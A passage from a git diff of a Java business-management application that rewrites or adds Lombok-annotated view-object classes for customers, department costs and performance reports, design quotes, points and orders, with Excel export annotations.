+ + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpClientVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpClientVo.java index bc10d38..c156f5b 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpClientVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpClientVo.java @@ -1,206 +1,206 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.work.domain.TpClient; - -import java.io.Serial; -import java.io.Serializable; -import java.math.BigDecimal; -import java.util.Date; - - - -/** - * 客户视图对象 tp_client - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpClient.class) -public class TpClientVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - *ID - */ - @ExcelProperty(value = "ID") - private Long id; - - /** - * 所属用户 - */ -// @ExcelProperty(value = "所属用户") - private Long uid; - - /** - * 客服编号 - */ - @ExcelProperty(value = "所属客服") - private String sname; - - /** - * 客户编号 - */ - @ExcelProperty(value = "客户编号") - private String code; - - /** - * 客户姓名 - */ - @ExcelProperty(value = "客户姓名") - private String name; - - /** - * 电话号码 - */ - @ExcelProperty(value = "电话号码") - private String phone; - - /** - * 性别 - */ - @ExcelProperty(value = "性别") - private String sex; - - /** - * 客户类型 - */ - @ExcelProperty(value = "客户类型") - private Long type; - - /** - * 主营业务类型 - */ - @ExcelProperty(value = "主营业务类型", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "yw_type") - private Long ywtype; - - /** - * 状态(1=正常,2=禁用) - */ - @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1=正常,2=禁用") - private Long state; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - /** - * 录入时间 - */ - @ExcelProperty(value = "录入时间") - private Date addTime; - - /** - * 是否删除(1=未删除,2=已删除) - */ - @ExcelProperty(value = "是否删除", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1=未删除,2=已删除") - private Long isDel; - - /** - * 会员到期时间 - */ - private Long vipEnd; - - /** - * 操作人 - */ - private String addUser; - - /** - * 会员等级 - */ - private Long vip; - - /** - * 余额 - */ - @ExcelProperty(value = "余额") - private BigDecimal yue; - - /** - * 总消费 - */ -// @ExcelProperty(value = "总消费") - private BigDecimal allPrice; - - /** - * 改图会员 - */ - private Long gtVip; - - /** - * 健康状态 - */ - @ExcelProperty(value = "健康状态", converter = ExcelDictConvert.class) - @ExcelDictFormat(dictType = "health_status") - private Long health; - - /** - * 省 - */ - @ExcelProperty(value = "省") - private String province; - - /** - * 市 - */ - @ExcelProperty(value = "市") - private String city; - - /** - * 地区 - */ - @ExcelProperty(value = "地区") - private String area; - - /** - * 积分 - */ - private Long integral; - - /** - * 订单数量 - */ -// @ExcelProperty(value = "订单数量") - private Long count; - - /** - * 下单总额 - */ -// @ExcelProperty(value = "下单总额") - private BigDecimal price; - - /** - * 实付余额 - */ -// @ExcelProperty(value = "实付余额") - private BigDecimal payPrice; - - /** - * 未付余额 - */ -// @ExcelProperty(value = "未付余额") - private BigDecimal noPrice; - - /** - * 到款率 - */ -// @ExcelProperty(value = "到款率") - private Long lv; - - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.work.domain.TpClient; + +import java.io.Serial; +import java.io.Serializable; +import java.math.BigDecimal; +import java.util.Date; + + + +/** + * 客户视图对象 tp_client + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpClient.class) +public class TpClientVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + *ID + */ + @ExcelProperty(value = "ID") + private Long id; + + /** + * 所属用户 + */ +// @ExcelProperty(value = "所属用户") + private Long uid; + + /** + * 客服编号 + */ + @ExcelProperty(value = "所属客服") + private String sname; + + /** + * 客户编号 + */ + @ExcelProperty(value = "客户编号") + private String code; + + /** + * 客户姓名 + */ + @ExcelProperty(value = "客户姓名") + private String name; + + /** + * 电话号码 + */ + @ExcelProperty(value = "电话号码") + private String phone; + + /** + * 性别 + */ + @ExcelProperty(value = "性别") + private String sex; + + /** + * 客户类型 + */ + @ExcelProperty(value = "客户类型") + private Long type; + + /** + * 主营业务类型 + */ + @ExcelProperty(value = "主营业务类型", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "yw_type") + private Long ywtype; + + /** + * 状态(1=正常,2=禁用) + */ + @ExcelProperty(value = "状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1=正常,2=禁用") + private Long state; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + /** + * 录入时间 + */ + @ExcelProperty(value = "录入时间") + private Date addTime; + + /** + * 是否删除(1=未删除,2=已删除) + */ + @ExcelProperty(value = "是否删除", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1=未删除,2=已删除") + private Long isDel; + + /** + * 会员到期时间 + */ + private Long vipEnd; + + /** + * 操作人 + */ + private String addUser; + + /** + * 会员等级 + */ + private Long vip; + + /** + * 余额 + */ + @ExcelProperty(value = "余额") + private BigDecimal yue; + + /** + * 总消费 + */ +// @ExcelProperty(value = "总消费") + private BigDecimal allPrice; + + /** + * 改图会员 + */ + private Long gtVip; + + /** + * 健康状态 + */ + @ExcelProperty(value = "健康状态", converter = ExcelDictConvert.class) + @ExcelDictFormat(dictType = "health_status") + private Long health; + + /** + * 省 + */ + @ExcelProperty(value = "省") + private String province; + + /** + * 市 + */ + @ExcelProperty(value = "市") + private String city; + + /** + * 地区 + */ + @ExcelProperty(value = "地区") + private String area; + + /** + * 积分 + */ + private Long integral; + + /** + * 订单数量 + */ +// @ExcelProperty(value = "订单数量") + private Long count; + + /** + * 下单总额 + */ +// @ExcelProperty(value = "下单总额") + private BigDecimal price; + + /** + * 实付余额 + */ +// @ExcelProperty(value = "实付余额") + private BigDecimal payPrice; + + /** + * 未付余额 + */ +// @ExcelProperty(value = "未付余额") + private BigDecimal noPrice; + + /** + * 到款率 + */ +// @ExcelProperty(value = "到款率") + private Long lv; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpDeptCostVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpDeptCostVo.java new file mode 100644 index 0000000..8428ce6 --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpDeptCostVo.java @@ -0,0 +1,87 @@ +package org.dromara.work.domain.vo; + +import java.math.BigDecimal; +import org.dromara.work.domain.TpDeptCost; +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 部门成本视图对象 tp_dept_cost + * + * @author Maosw + * @date 2025-11-20 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpDeptCost.class) +public class TpDeptCostVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * ID + */ + @ExcelProperty(value = "ID") + private Long id; + + /** + * 报表ID + */ + @ExcelProperty(value = "报表ID") + private Long deptReportId; + + /** + * 社保成本 + */ + @ExcelProperty(value = "社保成本") + private BigDecimal socialCost; + + /** + * 工资成本 + */ + @ExcelProperty(value = "工资成本") + private BigDecimal salaryCost; + + /** + * 房租 + */ + @ExcelProperty(value = "房租") + private BigDecimal rentCost; + + /** + * 电费 + */ + @ExcelProperty(value = "电费") + private BigDecimal electricityCost; + + /** + * 报销 + */ + @ExcelProperty(value = "报销") + private BigDecimal salesCost; + + /** + * 月份 + */ + @ExcelProperty(value = "月份") + private String month; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date createTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpDeptReportVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpDeptReportVo.java new file mode 100644 index 0000000..4439a41 --- /dev/null +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpDeptReportVo.java @@ -0,0 +1,177 @@ +package org.dromara.work.domain.vo; + +import java.math.BigDecimal; +import java.util.Date; +import com.fasterxml.jackson.annotation.JsonFormat; +import org.dromara.work.domain.TpDeptReport; +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 部门业绩报视图对象 tp_dept_report + * + * @author Maosw + * @date 2025-11-19 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpDeptReport.class) +public class TpDeptReportVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * ID + */ + @ExcelProperty(value = "ID") + private Long id; + + /** + * 部门ID + */ + @ExcelProperty(value = "部门ID") + private Long deptId; + + /** + * 部门名称 + */ + @ExcelProperty(value = "部门名称") + private String deptName; + + /** + * 部门类型 1-客服,2-技术 + */ + @ExcelProperty(value = "部门类型 1-客服,2-技术") + private Integer deptType; + + /** + * 部门是否有下级 1-有下级 2-无下级 + */ + @ExcelProperty(value = "部门是否有下级 1-有下级 2-无下级") + private Integer hasChild; + + /** + * 组号 + */ + @ExcelProperty(value = "组号") + private String teamNo; + + /** + * 负责人ID + */ + @ExcelProperty(value = "负责人ID") + private Long userId; + + /** + * 负责人名称 + */ + @ExcelProperty(value = "负责人名称") + private String userName; + + /** + * 业绩 + */ + @ExcelProperty(value = "业绩") + private BigDecimal performance; + + /** + * 订单量 + */ + @ExcelProperty(value = "订单量") + private Integer orderCount; + + /** + * 投诉量 + */ + @ExcelProperty(value = "投诉量") + private Integer complaintCount; + + /** + * 实际已到账 + */ + @ExcelProperty(value = "实际已到账") + private BigDecimal actualArrival; + + /** + * 会员补贴 + */ + @ExcelProperty(value = "会员补贴") + private BigDecimal memberRecharge; + + /** + * 扣款 + */ + @ExcelProperty(value = "扣款") + private BigDecimal deduction; + + /** + * 最终已到账 + */ + @ExcelProperty(value = "最终已到账") + private BigDecimal finalArrival; + + /** + * 未到账 + */ + @ExcelProperty(value = "未到账") + private BigDecimal unArrival; + + /** + * 成本id + */ + @ExcelProperty(value = "成本id") + private Long costId; + + /** + * 社保成本 + */ + @ExcelProperty(value = "社保成本") + private BigDecimal socialCost; + + /** + * 工资成本 + */ + @ExcelProperty(value = "工资成本") + private BigDecimal salaryCost; + + /** + * 房租 + */ + @ExcelProperty(value = "房租") + private BigDecimal rentCost; + + /** + * 电费 + */ + @ExcelProperty(value = "电费") + private BigDecimal electricityCost; + + /** + * 报销 + */ + @ExcelProperty(value = "报销") + private BigDecimal salesCost; + + /** + * 排序 + */ + @ExcelProperty(value = "排序") + private Integer sort; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date createTime; +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpDesignQuotesVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpDesignQuotesVo.java index a823a4d..b8df0f5 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpDesignQuotesVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpDesignQuotesVo.java @@ -1,103 +1,103 @@ -package org.dromara.work.domain.vo; - -import java.math.BigDecimal; -import org.dromara.work.domain.TpDesignQuotes; -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - - -/** - * 报价视图对象 tp_design_quotes - * - * @author Maosw - * @date 2025-03-10 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpDesignQuotes.class) -public class TpDesignQuotesVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * 主键 - */ - @ExcelProperty(value = "主键") - private Long id; - - /** - * 客服ID - */ - @ExcelProperty(value = "客服ID") - private Long sid; - - /** - * 客服名称 - */ - @ExcelProperty(value = "客服名称") - private String sName; - - /** - * 项目名称 - */ - @ExcelProperty(value = "项目名称") - private String projectName; - - /** - * 客户名称 - */ - @ExcelProperty(value = "客户名称") - private String clientName; - - /** - * 订单JSON详细 - */ - @ExcelProperty(value = "订单JSON详细") - private String orderInfo; - - /** - * 总计图数 - */ - @ExcelProperty(value = "总计图数") - private Integer totalImages; - - /** - * 总计金额 - */ - @ExcelProperty(value = "总计金额") - private BigDecimal totalAmount; - - /** - * 定金 - */ - @ExcelProperty(value = "定金") - private BigDecimal deposit; - - /** - * 备注 - */ - @ExcelProperty(value = "备注") - private String remark; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Date createTime; - - /** - * 租户 1-设计甄选 2-制图工厂 3-室内联盟 - */ - private Integer tenant; - -} +package org.dromara.work.domain.vo; + +import java.math.BigDecimal; +import org.dromara.work.domain.TpDesignQuotes; +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 报价视图对象 tp_design_quotes + * + * @author Maosw + * @date 2025-03-10 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpDesignQuotes.class) +public class TpDesignQuotesVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * 主键 + */ + @ExcelProperty(value = "主键") + private Long id; + + /** + * 客服ID + */ + @ExcelProperty(value = "客服ID") + private Long sid; + + /** + * 客服名称 + */ + @ExcelProperty(value = "客服名称") + private String sName; + + /** + * 项目名称 + */ + @ExcelProperty(value = "项目名称") + private String projectName; + + /** + * 客户名称 + */ + @ExcelProperty(value = "客户名称") + private String clientName; + + /** + * 订单JSON详细 + */ + @ExcelProperty(value = "订单JSON详细") + private String orderInfo; + + /** + * 总计图数 + */ + @ExcelProperty(value = "总计图数") + private Integer totalImages; + + /** + * 总计金额 + */ + @ExcelProperty(value = "总计金额") + private BigDecimal totalAmount; + + /** + * 定金 + */ + @ExcelProperty(value = "定金") + private BigDecimal deposit; + + /** + * 备注 + */ + @ExcelProperty(value = "备注") + private String remark; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date createTime; + + /** + * 租户 1-设计甄选 2-制图工厂 3-室内联盟 + */ + private Integer tenant; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpFieldVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpFieldVo.java index 5bc9cad..a960c31 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpFieldVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpFieldVo.java @@ -1,53 +1,53 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.work.domain.TpField; - -import java.io.Serial; -import java.io.Serializable; - - - -/** - * 字段管理视图对象 tp_field - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpField.class) -public class TpFieldVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @ExcelProperty(value = "") - private Long id; - - /** - * 类型 - */ - @ExcelProperty(value = "类型") - private Long type; - - /** - * 名称 - */ - @ExcelProperty(value = "名称") - private String name; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Long addTime; - - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.work.domain.TpField; + +import java.io.Serial; +import java.io.Serializable; + + + +/** + * 字段管理视图对象 tp_field + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpField.class) +public class TpFieldVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @ExcelProperty(value = "") + private Long id; + + /** + * 类型 + */ + @ExcelProperty(value = "类型") + private Long type; + + /** + * 名称 + */ + @ExcelProperty(value = "名称") + private String name; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Long addTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpFollowVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpFollowVo.java index 4a4d419..cd870a5 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpFollowVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpFollowVo.java @@ -1,58 +1,58 @@ -package org.dromara.work.domain.vo; - -import org.dromara.system.domain.SysUser; -import org.dromara.system.domain.vo.SysUserVo; -import org.dromara.work.domain.TpFollow; -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - - -/** - * 关注视图对象 tp_follow - * - * @author Maosw - * @date 2025-07-23 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpFollow.class) -public class TpFollowVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * id - */ - @ExcelProperty(value = "id") - private Long id; - - /** - * 用户ID - */ - @ExcelProperty(value = "用户ID") - private Long userId; - - /** - * 被关注用户ID - */ - @ExcelProperty(value = "被关注用户ID") - private Long toUserId; - - /** - * 被关注用户对象 - */ - @ExcelProperty(value = "被关注用户对象") - private SysUser toUser; - - -} +package org.dromara.work.domain.vo; + +import org.dromara.system.domain.SysUser; +import org.dromara.system.domain.vo.SysUserVo; +import org.dromara.work.domain.TpFollow; +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 关注视图对象 tp_follow + * + * @author Maosw + * @date 2025-07-23 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpFollow.class) +public class TpFollowVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * id + */ + @ExcelProperty(value = "id") + private Long id; + + /** + * 用户ID + */ + @ExcelProperty(value = "用户ID") + private Long userId; + + /** + * 被关注用户ID + */ + @ExcelProperty(value = "被关注用户ID") + private Long toUserId; + + /** + * 被关注用户对象 + */ + @ExcelProperty(value = "被关注用户对象") + private SysUser toUser; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpIntegralDetailVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpIntegralDetailVo.java index 5578894..021e1e8 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpIntegralDetailVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpIntegralDetailVo.java @@ -1,68 +1,68 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.work.domain.TpIntegralDetail; - -import java.io.Serial; -import java.io.Serializable; - - - -/** - * 积分明细视图对象 tp_integral_detail - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpIntegralDetail.class) -public class TpIntegralDetailVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @ExcelProperty(value = "") - private Long id; - - /** - * 所属用户 - */ - @ExcelProperty(value = "所属用户") - private Long uid; - - /** - * 标题 - */ - @ExcelProperty(value = "标题") - private String title; - - /** - * 类型(1为加,2为减) - */ - @ExcelProperty(value = "类型", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1=为加,2为减") - private Long type; - - /** - * 数额 - */ - @ExcelProperty(value = "数额") - private Long price; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Long addTime; - - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.work.domain.TpIntegralDetail; + +import java.io.Serial; +import java.io.Serializable; + + + +/** + * 积分明细视图对象 tp_integral_detail + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpIntegralDetail.class) +public class TpIntegralDetailVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @ExcelProperty(value = "") + private Long id; + + /** + * 所属用户 + */ + @ExcelProperty(value = "所属用户") + private Long uid; + + /** + * 标题 + */ + @ExcelProperty(value = "标题") + private String title; + + /** + * 类型(1为加,2为减) + */ + @ExcelProperty(value = "类型", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1=为加,2为减") + private Long type; + + /** + * 数额 + */ + @ExcelProperty(value = "数额") + private Long price; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Long addTime; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpMonthVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpMonthVo.java index ad2f313..bba881c 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpMonthVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpMonthVo.java @@ -1,81 +1,81 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.work.domain.TpMonth; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - - -/** - * 月目标视图对象 tp_month - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpMonth.class) -public class TpMonthVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @ExcelProperty(value = "") - private Long id; - - /** - * 人员 - */ - @ExcelProperty(value = "人员") - private Long sid; - - /** - * 月 - */ - @ExcelProperty(value = "月") - private String month; - - /** - * 个人目标 - */ - @ExcelProperty(value = "个人目标") - private Long geren; - - /** - * 公司目标 - */ - @ExcelProperty(value = "公司目标") - private Long gongsi; - - /** - * 创建时间 - */ - @ExcelProperty(value = "创建时间") - private Date addTime; - - /** - * 用户昵称 - */ - private String nickName; - - /** - * 真实姓名 - */ - private String realName; - - /** - * 部门名称 - */ - private String deptName; - - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.work.domain.TpMonth; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 月目标视图对象 tp_month + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpMonth.class) +public class TpMonthVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @ExcelProperty(value = "") + private Long id; + + /** + * 人员 + */ + @ExcelProperty(value = "人员") + private Long sid; + + /** + * 月 + */ + @ExcelProperty(value = "月") + private String month; + + /** + * 个人目标 + */ + @ExcelProperty(value = "个人目标") + private Long geren; + + /** + * 公司目标 + */ + @ExcelProperty(value = "公司目标") + private Long gongsi; + + /** + * 创建时间 + */ + @ExcelProperty(value = "创建时间") + private Date addTime; + + /** + * 用户昵称 + */ + private String nickName; + + /** + * 真实姓名 + */ + private String realName; + + /** + * 部门名称 + */ + private String deptName; + + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderBigVo.java b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderBigVo.java index 1e458bb..9960d97 100644 --- a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderBigVo.java +++ b/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderBigVo.java @@ -1,86 +1,86 @@ -package org.dromara.work.domain.vo; - -import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; -import com.alibaba.excel.annotation.ExcelProperty; -import io.github.linpeilie.annotations.AutoMapper; -import lombok.Data; -import org.dromara.common.excel.annotation.ExcelDictFormat; -import org.dromara.common.excel.convert.ExcelDictConvert; -import org.dromara.work.domain.TpOrderBig; - -import java.io.Serial; -import java.io.Serializable; -import java.util.Date; - - - -/** - * 订单大图视图对象 tp_order_big - * - * @author Maosw - * @date 2024-08-12 - */ -@Data -@ExcelIgnoreUnannotated -@AutoMapper(target = TpOrderBig.class) -public class TpOrderBigVo implements Serializable { - - @Serial - private static final long serialVersionUID = 1L; - - /** - * - */ - @ExcelProperty(value = "") - private Long id; - - /** - * 所属订单 - */ - @ExcelProperty(value = "所属订单") - private Long oid; - - /** - * 图片类型(1=平面大图,2全景大图) - */ - @ExcelProperty(value = "图片类型", converter = ExcelDictConvert.class) - @ExcelDictFormat(readConverterExp = "1==平面大图,2全景大图") - private Long type; - - /** - * 图片名称 - */ - @ExcelProperty(value = "图片名称") - private String name; - - /** - * 图片地址 - */ - @ExcelProperty(value = "图片地址") - private String pic; - - /** - * 全景地址 - */ - @ExcelProperty(value = "全景地址") - private String link; - - /** - * 上传时间 - */ - @ExcelProperty(value = "上传时间") - private Date addTime; - - /** - * 操作人 - */ - @ExcelProperty(value = "操作人") - private Long addUser; - - /** - * 操作人姓名 - */ - @ExcelProperty(value = "操作人姓名") - private String addUserName; - -} +package org.dromara.work.domain.vo; + +import com.alibaba.excel.annotation.ExcelIgnoreUnannotated; +import com.alibaba.excel.annotation.ExcelProperty; +import io.github.linpeilie.annotations.AutoMapper; +import lombok.Data; +import org.dromara.common.excel.annotation.ExcelDictFormat; +import org.dromara.common.excel.convert.ExcelDictConvert; +import org.dromara.work.domain.TpOrderBig; + +import java.io.Serial; +import java.io.Serializable; +import java.util.Date; + + + +/** + * 订单大图视图对象 tp_order_big + * + * @author Maosw + * @date 2024-08-12 + */ +@Data +@ExcelIgnoreUnannotated +@AutoMapper(target = TpOrderBig.class) +public class TpOrderBigVo implements Serializable { + + @Serial + private static final long serialVersionUID = 1L; + + /** + * + */ + @ExcelProperty(value = "") + private Long id; + + /** + * 所属订单 + */ + @ExcelProperty(value = "所属订单") + private Long oid; + + /** + * 图片类型(1=平面大图,2全景大图) + */ + @ExcelProperty(value = "图片类型", converter = ExcelDictConvert.class) + @ExcelDictFormat(readConverterExp = "1==平面大图,2全景大图") + private Long type; + + /** + * 图片名称 + */ + @ExcelProperty(value = "图片名称") + private String name; + + /** + * 图片地址 + */ + @ExcelProperty(value = "图片地址") + private String pic; + + /** + * 全景地址 + */ + @ExcelProperty(value = "全景地址") + private String link; + + /** + * 上传时间 + */ + @ExcelProperty(value = "上传时间") + private Date addTime; + + /** + * 操作人 + */ + @ExcelProperty(value = "操作人") + private Long addUser; + + /** + * 操作人姓名 + */ + @ExcelProperty(value = "操作人姓名") + private String addUserName; + +} diff --git a/ruoyi-modules/ruoyi-work/src/main/java/org/dromara/work/domain/vo/TpOrderCdVo.java 